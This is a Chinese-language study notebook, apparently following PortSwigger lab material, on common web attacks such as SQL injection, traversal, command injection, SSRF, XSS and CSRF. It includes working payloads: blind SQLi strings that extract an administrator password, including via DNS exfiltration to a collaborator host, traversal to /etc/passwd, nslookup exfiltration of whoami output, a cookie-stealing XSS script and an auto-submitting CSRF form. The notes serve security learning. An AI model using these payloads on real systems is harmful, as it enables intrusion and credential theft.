Web Attack - Introduction

Learning map

較重要的Topic有加★

★ SQL injection

Introduction

SQL 注入 (SQLi) 是一種網絡安全漏洞，允許攻擊者乾擾應用程序對其數據庫的查詢。它通常允許攻擊者查看他們通常無法檢索的數據。這可能包括屬於其他用戶的數據，或應用程序本身能夠訪問的任何其他數據。在許多情況下，攻擊者可以修改或刪除這些數據，從而導致應用程序的內容或行為發生持續變化。

在某些情況下，攻擊者可以升級 SQL 注入攻擊以破壞底層服務器或其他後端基礎架構，或執行拒絕服務攻擊。

成功的 SQL injection攻擊有什麼影響？

成功的 SQL 注入攻擊可能導致未經授權訪問敏感數據，例如密碼、信用卡詳細信息或個人用戶信息。近年來，許多備受矚目的數據洩露事件都是 SQL 注入攻擊的結果，導致聲譽受損和監管罰款。在某些情況下，攻擊者可以獲得進入組織系統的持久後門，從而導致長期危害，而這種危害可能會在很長一段時間內被忽視。

Common SQL injection examples

• Retriving hidden data
• Subverting application logic
• UNION attack
• Examing the database
• Blind SQL injection

Retriving hidden data

SQL資料庫中可能為了隱藏一些資訊做分級，並且在後端查詢資料時，利用分級的欄位做過濾，透過植入註記，跳過分級檢查，讓隱藏的資料一同被查詢出來。

Subverting application logic

透過SQL injection改寫判斷的邏輯，例如原本要檢查帳號對應的密碼是否一致，跳過檢查密碼階段，則直接達到登入。

UNION attack

在查詢的邏輯上，故意查找不到的資訊，並在後方UNION一組新的查詢條件，進而使我們想要的資料曝光。

Note:需要注意UNION出來的資料表格式，需要與原本查詢的格式一樣，這樣才不會出錯。
要知道原本的查詢格式，可以透過兩種方式測試。

1. 利用ORDER BY 欄位編號 (當不存在這個編號時，就會噴錯，e.g. 只有兩欄 但用第三欄排序)
2. UNION 不同數量NULL欄位 (當格式不對齊時，會噴錯)
   

進階技巧：在格式不夠時，可以利用自串串接的方式，讓查詢到的資料塞在同一格

Examining the database

透過SQL內建的Function來得知，Database的版本資訊。
參考資訊:https://portswigger.net/web-security/sql-injection/examining-the-database
常用不同版本語法:https://portswigger.net/web-security/sql-injection/cheat-sheet

Blind SQL injection vulnerabilities

當應用程序容易受到 SQL 注入攻擊，但其 HTTP 響應不包含相關 SQL 查詢的結果或任何數據庫錯誤的詳細信息時，就會出現 SQL 盲注。也就是當SQL查詢的結果，沒辦法反映到前端上時，就可以透過Blind SQL的方式攻擊。

常見的Blind SQL攻擊:

1. Triggering conditional responses
2. Triggering SQL errors
3. Triggering time delays
4. Using out-of-band (OAST) techniques

Triggering conditional responses

透過條件達成時，會跳轉到不同頁面，製造出能夠Blind SQL測試的空間。

例如查詢TrackingID的SQL功能

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

當找到出現過的ID時，就會顯示welcome back在前端
這時透過在後面 AND 一個條件，則當條件為真/否時，則結果會響應在前端，來達成測試空間。

測試範例:
測試密碼長度是否大於1

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

測試密碼第一個字是不是s

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Note:在設計測試空間時，有可能會用到這兩個步驟

1. 確認是否能插入判別式，並在不同條件時，反應在前端
2. 擴展判別式(圖中LIMIT是為了限制查詢出來的條件只有一行)
   

Triggering SQL errors

如果判別式的結果，無法反應在前端，則可以透過執行SQL errors的指令，得知判別式結果。

1/0 error:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

實際應用範例:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Triggering time delays

當判別式的結果，無法反應在前端，同時無法透過觸發error得知判別式結果時，可以利用延遲回應時間，來得知判別式結果。
(無法透過觸發error得知判別式結果，可能是來自後端將error code攔截)
範例:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Note: 不同版本的SQL，Delay time的指令不同，可以參考
常用不同版本語法:https://portswigger.net/web-security/sql-injection/cheat-sheet

Using out-of-band (OAST) techniques

假設應用程序執行相同的 SQL 查詢，但它是異步執行的。應用程序繼續在原始線程中處理用戶的請求，並使用另一個線程使用跟踪 cookie 執行 SQL 查詢。查詢仍然容易受到 SQL 注入的攻擊，但是到目前為止所描述的技術都不起作用：應用程序的響應不取決於查詢是否返回任何數據，或者是否發生數據庫錯誤，或者執行所花費的時間查詢。

在這種情況下，通常可以通過觸發與您控制的系統的帶外網絡交互來利用盲 SQL 注入漏洞。如前所述，這些可以根據注入條件有條件地觸發，以一次一位地推斷信息。但更強大的是，數據可以直接在網絡交互本身中被洩露。
多種網絡協議可用於此目的，但通常最有效的是 DNS（域名服務）。這是因為非常多的生產網絡允許 DNS 查詢的自由出口，因為它們對於生產系統的正常運行至關重要。

這項技術與SQL本身使用什麼版本有高度相關，例如對Microsoft SQL植入時:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

這會使database造訪這個網域

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

接著利用這樣的漏洞，將SQL查詢出來的資訊，串接在DNS子網域前，以此獲得密碼

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Note:即便在其他Blind SQL能夠觸發的情況下，OAST許多人仍然會選擇使用OAST攻擊，因為能夠直接洩露數據。

★ Authentication

Introdution

從概念上講，身份驗證漏洞是一些最容易理解的問題。但是，由於身份驗證和安全性之間存在明顯的關係，它們可能是最關鍵的。除了可能允許攻擊者直接訪問敏感數據和功能外，它們還暴露了額外的攻擊面以供進一步利用。因此，學習如何識別和利用身份驗證漏洞，包括如何繞過常見的保護措施，是一項基本技能。

在本節中，我們將研究網站使用的一些最常見的身份驗證機制，並討論其中的潛在漏洞。我們將重點介紹不同身份驗證機制中的固有漏洞，以及由於實施不當而引入的一些典型漏洞。最後，我們將提供一些關於如何確保自己的身份驗證機制盡可能健壯的基本指導。

身份驗證漏洞是如何產生的？

1. 身分驗證機制太弱，無法防止暴力破解。
2. 實現身分驗證機制的邏輯或糟糕代碼，造成驗證機制可以被繞過。

常見漏洞種類:

1. 基於密碼登錄的漏洞
2. 2FA驗證
3. 其他驗證機制

一些攻擊範例

1. Username enumeration
   對帳號進行暴力破解, 並且觀察 Status codes、Error messages、Response times
   在暴力破解時，猜對帳號 而密碼錯誤，Status codes、Error messages、Response times不應該觀察出來不同，這細微的差異將導致帳號被列舉後，暴力破解密碼。

2. Flawed brute-force protection
   一組IP嘗試登入數次後，皆錯誤，則伺服器將IP Ban掉以免被惡意攻擊，但如果設計有登入成功時的刷新機制，則攻擊者可以利用這項機制，刷新錯誤次數，也就是每幾次錯誤就成功登入自己的帳號，再繼續嘗試。如此將能避過這樣的防護機制。
   例如當登入後，更改密碼的功能，透過封包裡的參數來做為身分確認的機制時

   account:wiener

   這樣的方式，會讓用戶可以平行越權，代替其他用戶使用這個功能
   當這個情況發生時，攻擊者可以透過爆破的方式，對當前密碼進行爆破，因為是在更改密碼環節爆破，所以許多系統可能也沒有針對爆破做防護。導致可以偷到其他用戶的密碼。

★ Directory traversal

Introduction

目錄遍歷（也稱為文件路徑遍歷）是一種網絡安全漏洞，允許攻擊者讀取運行應用程序的服務器上的任意文件。這可能包括應用程序代碼和數據、後端系統的憑據以及敏感的操作系統文件。在某些情況下，攻擊者可能能夠寫入服務器上的任意文件，允許他們修改​​應用程序數據或行為，並最終完全控制服務器。

常見的漏洞

這項漏洞大多會有一些過濾機制的防護，因此如何躲避這些過濾機制，將成為關鍵。
例如：將路徑符號轉換成為URL encode

雙層encode

也可以利用雙層的encode技巧，繞過過濾機制
eg.

..%252f..%252f..%252fetc/passwd

第一次encode，會變成

..%2f..%2f..%2fetc/passwd

再送入filename中查詢，則真正的路徑會是

../../../etc/passwd

空字符 %00

在URL encode中，%00代表空字元（Null character）又稱結束符。

參考資料

可以用來繞過檢查檔案結尾的驗證

/image?filename=../../../etc/passwd%00.png

常見漏洞存在的地方

許多網站在設計img的功能時，可能會有個後端功能是輸入filename，則可以回傳檔案

此時我們就可以利用這個網址，達成Directory traversal

<img src="/image?filename=">

在Burp的Proxy介面裡，也可以點選filter，來選擇要開啟images類的封包，這樣就能看到請求images的封包了!

★ Commaned injection

Introduction

操作系統命令注入（也稱為 shell 注入）是一種 Web 安全漏洞，它允許攻擊者在運行應用程序的服務器上執行任意操作系統 (OS) 命令，並且通常會完全破壞應用程序及其所有數據。很多時候，攻擊者可以利用操作系統命令注入漏洞來破壞託管基礎設施的其他部分，利用信任關係將攻擊轉向組織內的其他系統。

Blind OS command injection using time delays

有時在做command injection時，結果並沒辦法反應回前端，此時我們可以透過植入會造成延遲的指令，來確認我們的指令是否有被執行。

例如:

& ping -c 10 127.0.0.1 &

Note:在執行命令時，要依照不同OS使用不同命令

Note:在不同的系統中，串接指令的字符也不同

常用的Commaned

whoami，得知帳號目前登入的人

whoami > /var/www/static/whoami.txt

nslookup

nslookup kgji2ohoyw.web-attacker.com

查詢DNS service的網域服務

這就可以利用OAST達成竊取機密資訊
用Brup Collaborator client

可以達成這件事

例如

nslookup+`whoami`.burpcollaborator.net

可以讓whoami的結果，帶到查詢的網域裡。

Business logic vulnerabilities

Information disclosure

★ Access control

Introduction

訪問控制（或授權）是對誰（或什麼）可以執行嘗試的操作或訪問他們請求的資源的限制的應用。在 Web 應用程序的上下文中，訪問控制依賴於身份驗證和會話管理：

身份驗證識別用戶並確認他們就是他們所說的人。
會話管理識別同一用戶正在發出哪些後續 HTTP 請求。
訪問控制確定是否允許用戶執行他們嘗試執行的操作。
損壞的訪問控制是一種常見且經常是嚴重的安全漏洞。訪問控制的設計和管理是一個複雜且動態的問題，它將業務、組織和法律約束應用於技術實施。訪問控制設計決策必須由人而不是技術做出，並且出錯的可能性很高。

從用戶的角度來看，權限控制可以分成幾種類別:

1. vertiacal access controls
2. horizontal access controls
3. Context-dependent access controls

Vertiacal access controls(垂直)

垂直訪問控制是限制對其他類型用戶不可用的敏感功能的訪問的機制。

通過垂直訪問控制，不同類型的用戶可以訪問不同的應用程序功能。**例如，管理員可能能夠修改或刪除任何用戶的帳戶，而普通用戶無權訪問這些操作。**垂直訪問控制可以是更細粒度的安全模型實施，旨在強制執行業務策略，例如職責分離和最小權限。

Horizontal access controls(水平)

水平訪問控制是一種機制，將資源的訪問權限限制在特定允許訪問這些資源的用戶。

通過橫向訪問控制，不同的用戶可以訪問同一類型的資源子集。例如，銀行應用程序將允許用戶查看交易並從他們自己的賬戶進行支付，但不允許從任何其他用戶的賬戶支付。

Context-dependent access controls

與上下文相關的訪問控制根據應用程序的狀態或用戶與應用程序的交互來限制對功能和資源的訪問。

與上下文相關的訪問控制可防止用戶以錯誤的順序執行操作。例如，零售網站可能會阻止用戶在付款後修改其購物車的內容。

★ File upload vulnerabilities

Introduction

文件上傳漏洞是指 Web 服務器允許用戶在沒有充分驗證文件名稱、類型、內容或大小等內容的情況下將文件上傳到其文件系統。未能正確執行這些限制可能意味著即使是基本的圖像上傳功能也可用於上傳任意且具有潛在危險的文件。這甚至可以包括啟用遠程代碼執行的服務器端腳本文件。

在某些情況下，上傳文件的行為本身就足以造成損害。其他攻擊可能涉及對文件的後續 HTTP 請求，通常是為了觸發服務器執行該文件。

File upload vulnerabilities有什麼影響？

文件上傳漏洞的影響一般取決於兩個關鍵因素：

1. 網站未能正確驗證文件的哪個方面，無論是其大小、類型、內容等。
2. 文件成功上傳後會受到哪些限制。

在最壞的情況下，文件的類型沒有得到正確驗證，服務器配置允許某些類型的文件（例如.php和.jsp）作為代碼執行。在這種情況下，攻擊者可能會上傳一個充當 Web shell 的服務器端代碼文件，從而有效地授予他們對服務器的完全控制權。

如果文件名沒有得到正確驗證，這可能允許攻擊者通過上傳同名文件來覆蓋關鍵文件。如果服務器也容易受到目錄遍歷的攻擊，這可能意味著攻擊者甚至可以將文件上傳到意外位置。

未能確保文件大小在預期閾值範圍內還可能導致某種形式的拒絕服務 (DoS) 攻擊，攻擊者藉此填滿可用的磁盤空間。

★ Server-side request forgery(SSRF)

Introduction

服務器端請求偽造（也稱為 SSRF）是一種 Web 安全漏洞，允許攻擊者誘導服務器端應用程序向非預期位置發出請求。

例如: 利用Server提供的服務，造訪一些路徑，利用Server發出的請求，來得到更多的內容。
(有種提權的感覺)

在典型的 SSRF 攻擊中，攻擊者可能會導致服務器與組織基礎設施內的僅限內部服務建立連接。在其他情況下，他們可能會強制服務器連接到任意外部系統，從而可能洩露授權憑據等敏感數據。

SSRF 攻擊的影響是什麼？

成功的 SSRF 攻擊通常會導致未經授權的操作或訪問組織內的數據，無論是在易受攻擊的應用程序本身還是在應用程序可以與之通信的其他後端系統中。在某些情況下，SSRF 漏洞可能允許攻擊者執行任意命令執行。

導致與外部第三方系統連接的 SSRF 漏洞利用可能會導致惡意攻擊，這些攻擊似乎源自託管易受攻擊應用程序的組織。

常見的SSRF攻擊

SSRF攻擊通常利用信任關係來升級易受攻擊的應用程序的攻擊並執行未經授權的操作。 這些信任關係可能與服務器本身有關，也可能與同一組織內的其他後端系統有關。

SSRF attacks against the server itself

例如，考慮一個購物應用程序，它允許用戶查看某項商品是否在特定商店中有庫存。要提供庫存信息，應用程序必須查詢各種後端 REST API，具體取決於相關產品和商店。該功能是通過前端 HTTP 請求將 URL 傳遞給相關的後端 API 端點來實現的。因此，當用戶查看商品的庫存狀態時，他們的瀏覽器會發出如下請求：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

這會導致服務器向指定的 URL 發出請求，檢索庫存狀態並將其返回給用戶。

在這種情況下，攻擊者可以修改請求以指定服務器本身的本地 URL。例如：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

在這裡，服務器將獲取/adminURL 的內容並將其返回給用戶。

當然，攻擊者可以直接訪問/adminURL。但管理功能通常只有經過身份驗證的合適用戶才能訪問。因此，直接訪問 URL 的攻擊者不會看到任何感興趣的內容。但是，當對/adminURL 的請求來自本地機器本身時，會繞過正常的訪問控制。應用程序授予對管理功能的完全訪問權限，因為該請求似乎來自受信任的位置。

為什麼應用程序會以這種方式運行，並且隱式信任來自本地計算機的請求？這可能由於各種原因而出現：

Access control檢查可能 在位於應用程序服務器前面的不同組件中實現。當與服務器本身建立連接時，會繞過檢查。
出於災難恢復的目的，應用程序可能允許來自本地計算機的任何用戶在不登錄的情況下進行管理訪問。這為管理員提供了一種在丟失憑據時恢復系統的方法。這裡的假設是只有完全信任的用戶會直接來自服務器本身。
管理界面可能正在偵聽與主應用程序不同的端口號，因此用戶可能無法直接訪問。
這種信任關係（來自本地機器的請求的處理方式與普通請求不同）通常是使 SSRF 成為嚴重漏洞的原因。

★ XXE injection

Introduction

XML 外部實體注入（也稱為 XXE）是一種 Web 安全漏洞，允許攻擊者乾擾應用程序對 XML 數據的處理。它通常允許攻擊者查看應用程序服務器文件系統上的文件，並與應用程序本身可以訪問的任何後端或外部系統進行交互。

在某些情況下，攻擊者可以通過利用 XXE 漏洞執行服務器端請求偽造(SSRF) 攻擊 來升級 XXE 攻擊以破壞底層服務器或其他後端基礎設施。

XXE 漏洞是如何產生的？

一些應用程序使用 XML 格式在瀏覽器和服務器之間傳輸數據。執行此操作的應用程序幾乎總是使用標準庫或平台 API 來處理服務器上的 XML 數據。XXE 漏洞的出現是因為 XML 規範包含各種潛在的危險特性，標準解析器支持這些特性，即使它們通常不被應用程序使用。

XML是什麼:https://portswigger.net/web-security/xxe/xml-entities

Command types of XXE attacks

1. Exploiting XXE to retrieve files
2. Exploiting XXE to perform SSRF attacks
3. Exploiting blind XXE exfiltrate data out-of-band
4. Exploiting blind XXE to retrieve data via error messages

exfiltrate: 洩出物

★ Cross-site scripting(XSS)

Introduction

Cross-site scripting（也稱為 XSS）是一種 Web 安全漏洞，允許攻擊者破壞用戶與易受攻擊的應用程序的交互。它允許攻擊者繞過同源策略，該策略旨在將不同的網站相互隔離。跨站點腳本漏洞通常允許攻擊者偽裝成受害者用戶，執行用戶能夠執行的任何操作，並訪問用戶的任何數據。如果受害者用戶在應用程序中具有特權訪問權限，那麼攻擊者可能能夠完全控制應用程序的所有功能和數據。

How does XSS work?

跨站點腳本的工作原理是操縱易受攻擊的網站，以便將惡意 JavaScript 返回給用戶。當惡意代碼在受害者的瀏覽器中執行時，攻擊者可以完全破壞他們與應用程序的交互。

換句話說，就是劫持Javascript的功能，利用控制了Javascript，可以代替用戶做出許多操作，例如Po文、刪除帳號…。

XSS proof of concept

在測試XSS漏洞時，可以透過注入導自己的瀏覽器執行一些任意 JavaScript 的Payload來確認大多數類型的 XSS 漏洞。通常alert()是個常見的選擇，因為它簡短、無害，並且在成功調用時很難錯過。

Note: alert()是讓瀏覽器彈跳一個提醒視窗。

不幸的是，Chrome版本 92 開始（2021 年 7 月 20 日），開始禁止跨域 iframe 調用alert()，因此Burp suite官方建議用print()代替。

理由:https://portswigger.net/research/alert-is-dead-long-live-print

the types of XSS attacks

1. Reflected XSS
2. Stroed XSS
3. DOM-base XSS

Reflected XSS

Reflected XSS是最簡單的跨站點腳本。當應用程序接收到 HTTP 請求中的數據並以不安全的方式將該數據包含在即時響應中時，就會出現這種情況。

例如: 一個網站在收到message的參數後，會將內容以文字的形式呈現在前端。

https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>

此時如果我們在message中帶入惡意的Js Payload，則可以讓這段Js被執行。

https://insecure-website.com/status?message=<script>/*Js Payload*/</script>
<p>Status: <script>/* Js Payload */</script></p>

Stroed XSS

當應用程序從不受信任的來源接收數據並以不安全的方式將該數據包含在其以後的 HTTP 響應中時，就會出現存儲型 XSS（也稱為持久性或二階 XSS）。

有問題的數據可能會通過 HTTP 請求提交給應用程序；例如，對博客文章的評論、聊天室中的用戶暱稱或客戶訂單的詳細聯繫信息。在其他情況下，數據可能來自其他不受信任的來源；例如，顯示通過 SMTP 接收的消息的網絡郵件應用程序、顯示社交媒體帖子的營銷應用程序或顯示來自網絡流量的數據包數據的網絡監控應用程序。

例如：Dcard 留言板中存在XSS漏洞，則攻擊者可以透過留下Js payload，database會將這段Payload存起來，並且在有人造訪這則留言時，傳送給他，而使用者收到後，因為瀏覽器的解析並不會過濾，就直接將Js payload執行起來了。

DOM XSS

基於 DOM 的 XSS（也稱為DOM XSS）在應用程序包含一些客戶端 JavaScript 時出現，這些 JavaScript 以不安全的方式處理來自不受信任來源的數據，通常是將數據寫回 DOM。

在以下示例中，應用程序使用一些 JavaScript 從輸入字段讀取值並將該值寫入 HTML 中的元素：

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

如果攻擊者可以控制輸入字段的值，他們可以很容易地構造一個惡意值，導致自己的腳本執行：

You searched for: <img src=1 onerror='/* Bad stuff here... */'>

在典型情況下，輸入字段將從 HTTP 請求的一部分（例如 URL 查詢字符串參數）填充，從而允許攻擊者使用惡意 URL 進行攻擊，其方式與反射 XSS 相同。

DOM延伸閱讀:https://ithelp.ithome.com.tw/articles/10202689
onerror延伸閱讀:https://www.w3school.com.cn/htmldom/event_onerror.asp

What can XSS do?

1. 冒充或偽裝成受害者用戶。
2. 執行用戶能夠執行的任何操作。
3. 讀取用戶能夠訪問的任何數據。
4. 捕獲用戶的登錄憑據。
5. 對網站進行虛擬污損。
6. 將木馬功能注入網站。

XSS + SQL injection

情境: 當今天有個網站的登入功能，有可以保持帳號登入的功能，此時cookies內就容易包含跟帳號有關的登錄資訊，或是可以透過cookies竊取，來直接登入。

而竊取其他使用者cookies的方式之一，就是透過XSS攻擊。

1. 我們在該網站的留言板功能，發現了可以植入XSS漏洞的地方。
   

<img src=1 onerror=alert(1)>

XSS植入成功，該留言板具有XSS漏洞。

2. 透過設計好的XSS Payload，當有使用者觸發時，就會將自己的cookies封包傳送到我們的Server上。
   

<script>document.location=''+document.cookie</script>

3. 接著只要在Server上觀察訪問日誌，就可以發現受害者中了XSS攻擊後，將cookie傳送給了我們。
   

4. 接著透過解析這個cookie，我們就可以得到受害者的明文帳密，達到攻擊。
   
   
   Base64 decode工具
   MD5 decode工具

帳號：carlos
密碼：onceuponatime

★ Cross-site request forgery(CSRF)

Introduction

跨站請求偽造（也稱為 CSRF）是一種 Web 安全漏洞，允許攻擊者誘導用戶執行他們不打算執行的操作。它允許攻擊者部分規避同源策略，該策略旨在防止不同網站相互干擾。

CSRF 攻擊的影響是什麼？

在成功的 CSRF 攻擊中，攻擊者會導致受害者用戶無意中執行某項操作。例如，這可能是更改其帳戶上的電子郵件地址、更改密碼或進行資金轉賬。根據操作的性質，攻擊者可能能夠完全控制用戶的帳戶。如果受感染的用戶在應用程序中擁有特權角色，那麼攻擊者可能能夠完全控制應用程序的所有數據和功能。

How CSRF work?

要使 CSRF 攻擊成為可能，必須具備三個關鍵條件：

1. 一個相關的動作。應用程序中存在攻擊者有理由誘導的操作。這可能是特權操作（例如修改其他用戶的權限）或對用戶特定數據的任何操作（例如更改用戶自己的密碼）。
2. 基於 Cookie 的會話處理。執行該操作涉及發出一個或多個 HTTP 請求，並且應用程序僅依賴會話 cookie 來識別發出請求的用戶。沒有其他機制可用於跟踪會話或驗證用戶請求。
3. 沒有不可預測的請求參數。執行該操作的請求不包含攻擊者無法確定或猜測其值的任何參數。例如，當導致用戶更改密碼時，如果攻擊者需要知道現有密碼的值，則該功能不會受到攻擊。
   例如，假設一個應用程序包含一個允許用戶更改其帳戶上的電子郵件地址的功能。當用戶執行此操作時，他們會發出如下 HTTP 請求：

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=[e-mail]

這符合 CSRF 所需的條件：

1. 攻擊者對更改用戶帳戶上的電子郵件地址的操作很感興趣。執行此操作後，攻擊者通常能夠觸發密碼重置並完全控制用戶的帳戶。
2. 應用程序使用會話 cookie 來識別發出請求的用戶。沒有其他令牌或機制來跟踪用戶會話。
3. 攻擊者可以輕鬆確定執行操作所需的請求參數的值。

有了這些條件，攻擊者就可以構建一個包含以下 HTML 的網頁：

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="[e-mail]" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

如果受害者用戶訪問攻擊者的網頁，將會發生以下情況：

1. 攻擊者的頁面將觸發對受攻擊的網站的 HTTP 請求。
2. 如果用戶已經登錄到受攻擊的網站，他們的瀏覽器將自動在請求中加入Session cookie（假設未使用SameSite cookie）。
3. 受攻擊的網站將以正常方式處理請求，將其視為由受害者用戶發出，並更改其電子郵件地址。

延伸閱讀:
使用SameSite cookie防禦CSRF
cookie實現登入功能

Cross-origin resource sharing(CORS)

Clickjacking

DOM-based vulnerabilities

WebSockets

★ Insecure deserialization

★ Server-side template injection

Web cache poisoning

HTTP Host header attacks

HTTP request smuggling

OAuth authentication

JWT attacks